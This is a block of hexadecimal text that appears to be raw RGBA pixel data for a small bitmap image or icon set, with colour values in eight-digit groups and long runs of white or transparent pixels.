8FFF944A18FF973F09FF994005FF735747FFB6B6B6FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF558324FF6AB40DFF68AE0FFF69AF
11FF69AF12FF69AE11FF6FAA02FF79BC00FF3A13FFFF3E28E8FF3B35E8FF3B36
E8FF3C37E8FF3B34E8FF3C37F4FF54548FFF8F491FFFB34F17FF5930ABFF3422
EAFF361FD8FF341CD4FF341CD4FF341CD4FF341CD4FF341CD4FF341CD4FF341C
D4FF341BD4FF3319D4FF3417DBFF52498DFF774529FFAF6D38FF8E649BFFB5B4
FFFFC7AFB8FF9E5528FFA15C33FFA15B32FFA15B32FFA05C33FF9B6F4EFFA55C
2FFFA15B31FFA05B30FFA35D32FF816455FFC4C4C4FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF59892BFF86C43BFF7DBD36FF80BF
39FF80BE39FF80BE38FF80BE38FF88D01AFF5244FFFF5953F3FF5953F2FF5753
F2FF5854F2FF5753F2FF5B55FBFF5E5BA1FF654470FF4F44F2FF5542E3FF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5944
DDFF5845DDFF5744DDFF5945E1FF615B9AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBEBEFFBEBEBEFFBEBEBEFFBEBEBEFFBFBEBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC5C5C5FFC5C5
C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6
C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF2B2B2BFF151515FF151515FF0B0B
0BFF121212FF171717FF161616FF161616FF161616FF161616FF171717FF1515
15FF161616FF13140CFF171520FF575281FF983A27FFD1310FFFCD310FFFCE31
10FFCD3110FFCD3110FFCD3110FFCD3110FFCD3110FFCD3110FFCD3110FFCD31
10FFCE3010FFCD310FFFD3320FFF8B554CFF1E35A7FF0027EDFF0128E7FF0227
E8FF0014E4FFF0FFFFFFE2FFFFFFE1FFFFFFE1FFFFFFEDFFFFFF5882F5FF001F
E7FF0228E8FF0127E7FF0028EFFF465593FF8BBCC3FFFFFFFFFFFFFFFFFF87BE
FFFF025FFFFF1A72FFFF267CFFFF267CFFFF267CFFFF267CFFFF267CFFFF267C
FFFF277BFFFF267CFFFF2986FFFF526E9AFF2A2A2AFF121212FF090909FF9E9E
9EFF2F2F2FFF121212FF141414FF141414FF141414FF141414FF141414FF1415
14FF121304FF1C1747FF3722E5FF585191FF953F28FFBE360FFFBB3611FFBB37
10FFBC3812FFBC3812FFBC3812FFBC3812FFBC3812FFBC3812FFBC3812FFBC38
12FFBB3711FFBB3610FFBE350FFF8A5649FF2031A5FF051DDAFF071FD8FF0720
D8FF000CD4FFF6FFFFFFE5FFFFFFE5FFFFFFE5FFFFFFF2FFFFFF5E75E7FF0017
D6FF0820D8FF071ED8FF051CDDFF454F94FFBDBCBCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFF5A79E8FF0933DBFF274EE0FF2D55E2FF2D55E2FF2D55E2FF2B55
E2FF2C54E2FF2B52E2FF2B55EDFF566594FF262626FF0F0F0FFF0C0C0CFF4949
49FF141414FF111111FF131313FF131313FF131313FF131313FF12120FFF0F10
00FF261B88FF3621E4FF321DD8FF57508EFF8D4025FFB4380BFFB3390EFFB43A
0EFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B0FFFB43B
0FFFB43A0EFFB3390DFFB7390BFF855949FF222BA0FF0714D6FF0A15D4FF0A18
D4FF0002CFFFFFFFFFFFF0FFFFFFF0FFFFFFF0FFFFFFFDFFFFFF6370E3FF030E
D2FF0B18D4FF0815D4FF0714D8FF484D92FFB6B8B8FFFFFFFFFFFFFFFFFFFFFF
FDFFFFFFFFFFFFFFFFFFE4E5F9FF333DDBFF161FD5FF2D38DAFF303BDBFF303B
DBFF2F3ADBFF2D39D9FF2D3AE4FF565B90FF242424FF050505FF0A0A0AFF0606
06FF525252FF050505FF0F0F0FFF0F0F0FFF0F0F0FFF0D0E06FF100F13FF2F1D
BFFF331DDBFF2F1CD1FF2F1AD6FF564F8EFF873F1FFFAD3604FFAB3906FFAA39
08FFAC3A09FFAC3A09FFAE3C0AFFB4430CFFAF3D0AFFAC3A09FFAC3A09FFAC3A
09FFAA3908FFAB3806FFAF3803FF815848FF23259DFF090CD2FF0C0FCFFF0E10
CFFF0000CAFFFFFFFFFFFAFFFFFFFAFFFFFFFAFFFFFFFFFFFFFF696DE1FF0407
CDFF0D10CFFF0C0ECFFF090DD4FF494A8EFFBAB8B7FFEBFFFFFFFFFFFEFF3BDA
FBFFFFFFFEFFE6F9FEFFFFFFFFFFFFFFFFFFB5B1EEFF180CCDFF1F12CFFF3024
D3FF3025D3FF2F23D2FF2E21DDFF56538CFF202020FF454545FF2E2E2EFF0A0A
0AFF040404FF4A4A4AFF0B0B0BFF0F0F0FFF0D0E00FF181243FF341FDEFF311B
D4FF2E38D6FF2F16CFFF2C18D6FF554E8DFFBEC5C8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA6A7F7FFE8F1FFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A4A5FF25249BFF0A09D1FF0D0CCFFF0D0D
CEFF0000CAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0504
CCFF0E0DCEFF0C0BCFFF0908D4FF49498DFFCCBAB6FF52E2FFFF83E5FCFF2AD4
FAFF83E5FCFF68E1FBFFFFFFFEFFFEFEFEFFFFFFFFFFFFFFFFFF927CE3FF0D00
C8FF260FCEFF2F19CFFF2E17DAFF56508BFF202020FF707070FF323232FF0909
09FF080808FFB4B4B4FF141411FF0A0C00FF231886FF341FE4FF3218D0FF311E
D0FF2C4ADAFF2A49DAFF2D14D5FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF797AC8FF97A474FF656EB4FFFCFAF6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF24249CFF0C0CD3FF0D0DCEFF0E0E
CEFF0000CAFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0505
CCFF0E0ECFFF0C0CCFFF0909D4FF49498DFF9AB1B6FFBAF7FFFF00CBFAFF1AD1
FBFF07CDFAFFBFF0FDFFDDF6FCFFFFFFFEFFFFFEFEFFE9FCFEFFC4FFFFFFFFFF
FFFF5F59F1FF110AEEFF1A13FAFF514E96FF252525FF060606FF0C0C0CFF1313
13FF151515FF010200FF0E0E11FF2E1DBEFF3517DAFF320FCCFF2D56DDFF2888
E9FF2C4ADBFF2F21D1FF2C17D6FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF7488C4FF949E90FF6A7DBEFFFDFBF6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF25259CFF0E0ED4FF1111D1FF1010
CFFF0000CBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0505
CCFF0E0ECFFF0C0CCFFF0909D4FF49498DFF89AEB6FFA3F1FFFF09CFFAFF23D2
FBFF06CDFAFFA1EBFBFFCCF3FCFFFFFFFEFFFFFEFEFFE7FAFFFF7DF5FFFFFFFF
FFFFDE985EFFB53A00FFC14400FF835D4AFF252525FF0F0F0FFF040404FFCBCB
CBFF2D2F1FFF1B1544FF3821DFFF311BD4FF287BE6FF2691EBFF20EAFFFF24A6
EFFF24A4EFFF2E0ECDFF2C18D5FF564E8DFFC5C6BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFAFFBCC4E8FFFDFDF2FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF25259DFF0F0FD5FF1212D3FF1414
D3FF0101CEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6B6BE1FF0404
CCFF0D0DCEFF0B0BCEFF0909D3FF49498DFFCCBAB7FF72EAFFFF74E4FCFF2ED7
FAFF76E5FCFF7DE5FBFFFFFFFEFFFEFEFEFFFFFFFFFFFFFFFFFFE7AB93FF9F24
00FFA53100FFAA3D09FFB34008FF7E5C4BFF262626FF101010FF11110EFF0C0E
00FF2B2087FF432DEAFF3F2BD7FF4024D4FF3879E7FF2FBFF6FF2CDCFCFF2BEA
FFFF32A2F0FF3D1BD2FF3E26DBFF564F8FFF32239CFF2A10D4FF2A14D1FF2C16
D1FF2C17D1FF2C17D1FF2E18D3FF341DD4FF2E18D2FF2913D0FF2711D0FF2712
CFFF2912D0FF2911D0FF2910D7FF50498CFF26269DFF1010D6FF1313D4FF1616
D4FF0101CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6F6FE2FF0C0C
CFFF1414D3FF1212D3FF0F0FD9FF49498DFFBCB8B6FFD1FBFFFFFAFEFDFF46DC
FBFFFFFFFDFFD6F6FCFFFFFFFFFFFFFFFFFFECD7CBFFB0450AFFAA3900FFB24C
13FFB34D15FFB35013FFBE5411FF805C4CFF252525FF0E0F07FF131317FF3D28
C4FF442DE2FF422CD7FF422CD7FF422BD7FF4326D6FF403CD9FF35B9F4FF3A8A
EAFF4220D4FF3F29D5FF3F26DCFF564F8FFF3F309EFF3F27D9FF4029D5FF412B
D7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422CD7FF422C
D7FF412BD7FF3F29D5FF3F26DCFF564F8FFF25259EFF1010D7FF1313D5FF1515
D5FF0202D0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7070E5FF0C0C
D3FF1515D5FF1313D5FF0F0FDAFF49498DFFB6B6B6FFFFFFFFFFFFFFFEFFF4FB
FCFFFFFFFFFFFFFFFFFFFDFBFCFFBF6936FFAA3800FFB44F12FFB65318FFB653
16FFB65415FFB65113FFBF5410FF7E5C4BFF20201FFF191244FF4227E5FF4128
DBFF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4021D5FF3B55E0FF3E3D
DBFF4024D6FF3F25D7FF4024DEFF554E8DFF3D2F9EFF3F24DBFF3F27D7FF4027
D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028D7FF4028
D7FF4027D7FF3F25D7FF4024DEFF554E8DFF23239DFF0B0BD9FF0E0ED5FF1010
D5FF0000D2FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF6D6DE5FF0707
D4FF1010D5FF0E0ED5FF0A0ADCFF47478DFFBCB8B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFCF8E62FFA93200FFB24905FFB5510FFFB7520FFFB7520FFFB752
0FFFB7520EFFB7510CFFC05509FF7D5B49FF3C3575FF5F4AF3FF5844DEFF5845
DDFF5944DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5942DCFF5942
DCFF5845DDFF5744DDFF5945E1FF615B9CFF453AA5FF5B47E0FF5843DDFF5845
DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946DDFF5946
DDFF5845DDFF5744DDFF5945E1FF615B9CFF3030A3FF3333DEFF3131DAFF3333
DAFF2020D6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF8484E9FF2B2B
D9FF3333DAFF3131DAFF3232DEFF55559AFF97BBC2FFFFFFFFFFFFFFFFFFE5B7
A1FFBC5418FFC05D25FFC66A36FFC66A37FFC66A37FFC66A37FFC66C37FFC66A
37FFC66A35FFC66935FFCD6E36FF8E6652FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC1C0C1FFC0C0C0FFC0C0C0FFFFFFFFFFDADADAFFBFBFBFFFBFBFC0FFC0C0
C0FFC0C0C0FFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFBEBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBEBEBEFFBEBEBEFFC0C0C0FFC0C0
C0FFC0C0BFFFBFBFBFFFBFBFBFFFFFFFFFFFB7BCB7FFFFFFFFFFFFFFFFFF30B0
41FF019B14FF069D18FF069D18FF069D18FF069D18FF069D18FF069D18FF069D
19FF069E17FF059D19FF03A217FF487B50FFAB994AFFF2D44FFFEED14EFFEDD1
4FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD14FFFEDD1
4FFFEED14FFFEED14EFFF4D650FF968D5FFF3C9E3CFF1CAC1CFF1FAC1FFF1FAD
20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD20FF20AD
20FF1FAD1EFF1EAC1FFF1CAD1CFF5F9E5FFFA37B21FFE7A205FFE29E05FFE29F
06FFE29F06FFE29F06FFE29F06FFDE9500FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9F9AFFBBBDBCFFFFFFFFFFFFFFFFFF329C
3BFF068711FF0C8A17FF0C8A17FF0C8A17FF04860FFF008209FF008208FF0484
0FFF0A8916FF0A8915FF088A13FF47774DFFA9974DFFE1C24FFFDFBF50FFDFBF
51FFDFC051FFDFC050FFE6BE4AFFEBBD46FFEABD46FFE3BF4CFFDFC051FFDFC0
51FFDFBF50FFDFBF4FFFE4C250FF978C60FF359D2BFF18A710FF1AA31AFF1BA4
1BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA41BFF1BA4
1BFF1BA41BFF19A319FF15A215FF589858FFA27323FFD58908FFD28A0AFFD28A
0BFFD38A0CFFD38A0CFFD38A0CFFCE7D00FFFFFFFFFFFFFFFFFFFFFFFFFFF6F5
FDFFFFFFFFFFF8F7FCFFFFFFFFFFA2A2A0FFB9BBB9FFFFFFFFFFFFFFFFFF3491
38FF08790DFF0E7B14FF0E7B14FF007000FF479B4CFFABD2ADFFB4D6B7FF58A6
5DFF006F00FF0A7910FF097C0FFF49714CFFA5904DFFDFBA50FFDCB951FFDBB9
52FFDDB850FFEBB444FF91CA99FF5AD6CAFF64D3C1FFBBC170FFE9B546FFDBB8
52FFDBB952FFDCB751FFE1BC50FF938661FF3343BCFF118243FF13AF00FF14A5
0FFF14A114FF14A114FF14A114FF14A114FF14A114FF14A114FF14A114FF14A1
14FF13A113FF12A012FF0E9F0EFF579757FF9D6924FFD07B09FFCE7A0CFFCD7B
0DFFCD7D0EFFCF7C0EFFCF7C0EFFCA6F00FFFFFFFFFFFFFFFFFFFFFFFFFFF1EF
FBFF4527D1FFDAD3F4FFFFFFFFFFA0A09EFFB9B9B9FFFFFFFFFFFFFFFFFF3488
36FF096C0AFF0F7110FF006500FFA2C7A3FFFFFFFFFFF1F5F1FF93BD93FFA7C8
A7FFA6CBA6FF006703FF09700AFF496B4AFFA28B4DFFDCB450FFD8B251FFDAB2
50FFE6AF46FF2ADBECFF05E4FFFF0DE2FFFF0CE2FFFF00E4FFFF83C69FFFE5AF
47FFDAB252FFD8B251FFDFB650FF918461FF2F2CDAFF0C00FFFF1024D8FF0F82
3FFF1FB209FF12A40CFF0C9D0CFF0C9D0CFF0C9D0CFF0C9D0CFF0C9D0CFF0C9D
0CFF0B9C0BFF0A9C0AFF079B05FF569856FF996222FFCD710AFFC9700BFFCA71
0EFFCA700FFFCA720FFFCA720EFFC56400FFFFFFFFFFFFFFFFFFFFFFFFFFCCC3
F2FF6246DBFFC2B9F0FFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFF3585
35FF096809FF0A6909FF428D41FFFFFFFFFFA5C8A5FF005B00FF036603FF0164
01FF096909FF1C731BFF076B07FF496949FFA2894EFFDBB251FFD7B050FFE2AE
49FF6EC8ADFF01E3FFFF0FDFFFFF0FDFFFFF0FDFFFFF0EE0FFFF00E5FFFFCCB3
5CFFDBAF4FFFD7AF51FFDEB350FF908261FF2C2CD6FF0909FEFF0C09FFFF0800
FFFF4439FFFFE0D3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FF986024FFCB6C08FFC86B0CFFC96D
0CFFC96C0DFFC96E0FFFC96D0FFFC46000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFF8F8FDFFFFFFFFFFFFFFFFFF9E9E9EFFB9B9B9FFFFFFFFFFFFFFFFFF3585
35FF0A6B0AFF036503FFA1C6A1FFFFFFFFFF005C00FF0E6D0EFF106E10FF0C6B
0CFF0D6D0DFF0A690AFF096D09FF496A49FFA28A4EFFDCB555FFD9B052FFE8AC
45FF29D9E8FF0BE0FFFF10E0FFFF10E0FFFF10E0FFFF10E0FFFF04E2FFFF83C4
9CFFE1AE4AFFD7B151FFDEB350FF918261FF2C2CD9FF0C0CFEFF0E0EFEFF0D0D
FEFF0A0AFEFF0000FDFF2828FAFFB8B9F9FFFFFFFEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FF965920FFC96800FFC56400FFC562
00FFC56400FFC56400FFC56400FFC15800FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFFB9B9B9FFFFFFFFFFFFFFFFFF3788
37FF0A6A0AFF026502FFA6C7A6FFB7D3B7FF006400FF106E10FF0B6B0BFF257A
25FF006300FF0C6B0CFF096D09FF496A49FFA28B50FFDDB758FFDAB559FFE9B0
4AFF2BD9E6FF0AE0FFFF0FDFFFFF10E0FFFF10E0FFFF10E0FFFF04E2FFFF86C4
9BFFE0AE4AFFD7B151FFDEB350FF918261FF2E2ED9FF0E0EFEFF1111FEFF1110
FEFF0808FFFF0000FCFF4848F9FFD6D5FCFFFFFFFEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FFBDC3C9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1800CBFF2B07CFFF2B07CFFF2B07
CFFF2B06CFFF2904CFFF2701D4FF53478DFFB9B9B9FFFFFFFFFFFFFFFFFF3A8E
3AFF107410FF0E710EFF499349FFD9E7D9FF006000FF0E6C0EFF0C6B0CFFE8EF
E8FF8EBA8EFF016301FF096C09FF496949FFA38C51FFDEB95CFFDAB75DFFE5B4
56FF7ACCADFF05E4FFFF11E1FFFF0EDFFFFF0FDFFFFF0EDFFFFF00E5FFFFCFB2
57FFDBAF4EFFD7AE4FFFDEB451FF918362FF2C2CD9FF0F0FFEFF1111FFFF0E10
FFFF6161FFFFF4F5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFC5C5C5FFB9B9B9FFFFFFFFFFFDFCFAFFFFFF
FFFFFCFBF8FFFFFFFFFFFFFFFFFFFFFFFFFF2A07D0FF3D1CD4FF3D1DD4FF3D1B
D4FF3C1AD4FF3A18D3FF3B17DAFF5A4E8FFFB9B9B9FFFFFFFFFFFFFFFFFF3B90
3BFF127712FF177A17FF056F05FFB3D2B3FF328A32FF127512FF0F740FFF4492
44FF318A31FF0F750FFF0F7B0FFF496B49FFA38C52FFDFBB60FFDBB960FFDDB8
60FFECB454FF36DDE4FF06E6FFFF0FE4FFFF0DE4FFFF00E7FFFF90C79DFFE5B4
54FFDCB75DFFDCB85EFFE2BD61FF918362FF2E2EDAFF1111FFFF1616C3FF1817
2EFF111000FF050500FF020202FF000000FF000000FF000000FF000000FF0000
00FF000000FF000000FF000000FF505050FFB9B9B9FFFFFFFFFFF4E3CFFFD182
21FFF9F3EDFFFFFFFFFFFFFFFFFFFFFFFFFF3C14D5FF4B27D8FF4A26D8FF4A26
D8FF4A26D8FF4B25D8FF4C25DEFF5B4F8FFFB9B9B9FFFFFFFFFFFFFFFFFF3B92
3BFF107A10FF177D17FF177D17FF087408FF3B923BFF147B14FF177D17FF1179
11FF127A12FF137B13FF0F7D0FFF496B49FFA38C52FFE1BC62FFDDBA62FFDCBB
63FFDEBB61FFEFB655FF9BC99AFF5ED4C6FF6AD2BEFFC7C076FFEAB85AFFDEBB
63FFDCBB63FFDDBA62FFE3BF63FF918362FF2F2FAEFF12112BFF141400FF1616
11FF171717FF171717FF171717FF181818FF181818FF171717FF171717FF1717
17FF151515FF131313FF0F0F0FFF545454FFB9B9B9FFFFFFFFFFEDD0AEFFD48B
2EFFF0D9BDFFFFFFFFFFFFFFFFFFFFFFFFFF3E17D6FF502BDAFF502BDAFF502B
DAFF4F2ADAFF4D28D8FF4E25DFFF5B4E8FFFB9B9B9FFFFFFFFFFFFFFFFFF3793
37FF0C790CFF117B11FF117B11FF117B11FF0E7A0EFF117B11FF117B11FF117C
11FF107C10FF0E7B0EFF0A810AFF476A47FFA28B53FFE1BD63FFDEBB61FFDEBB
62FFDEBB64FFDEBA63FFE5BA5EFFEAB95AFFE8B95BFFE2BB60FFDEBA63FFDEBB
64FFDEBB62FFDEBB61FFE4C063FF908261FF2B2B27FF0B0B06FF0F0F0FFF1111
11FF111111FF121212FF121212FF121212FF121212FF121212FF121212FF1111
11FF101010FF0E0E0EFF0B0B0BFF525252FFB9B9B9FFFFFFFFFFFFFFFFFFFBF8
F3FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E14D6FF4F27DAFF4F27DAFF4E27
DAFF4E26DAFF4D24DAFF4E23E1FF5A4D8EFFC0C0C0FFFFFFFFFFFFFFFFFF549F
54FF2E8C2EFF338E33FF338E33FF338E33FF338E33FF338E33FF338E33FF338E
33FF338E33FF318D31FF328F32FF557655FFA99359FFE6C779FFE3C474FFE4C4
